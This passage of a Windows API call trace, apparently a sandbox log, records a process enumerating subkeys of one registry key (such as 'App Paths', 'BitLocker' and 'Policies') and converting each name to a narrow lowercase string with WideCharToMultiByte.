dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xf7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0033.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1, lpName=0xf7b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0033.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2, lpName=0xf7b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xf7c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0033.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0xf7b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0033.806] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0xf7b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.806] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xf7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0xf7b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0xf7b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xf7c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0xf7b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xf7c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0xf7b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xf7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0xf7b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xf7c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0xf7b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xf7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0xf7b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xf7c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0033.807] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0xf7b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xf7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0xf7b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xf7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0xf7b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xf7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0xf7b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xf7c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0xf7b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xf7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0xf7b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0xf7b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0033.808] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0xf7b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0033.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xf7c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0xf7b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xf7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0xf7b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xf7c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0xf7b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xf7c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0xf7b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0xf7b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xf7c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0xf7b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0xf7b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xf7c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0033.809] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0xf7b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0033.809] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xf7c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0xf7b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xf7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0xf7b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xf7c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0xf7b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xf7c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0xf7b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xf7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0xf7b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xf7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0xf7b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xf7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0xf7b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0033.810] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xf7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0033.810] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0xf7b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xf7c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0033.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0xf7b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xf7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0033.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0xf7b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xf7c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0033.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0xf7b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xf7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0033.811] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0xf7b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0033.811] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 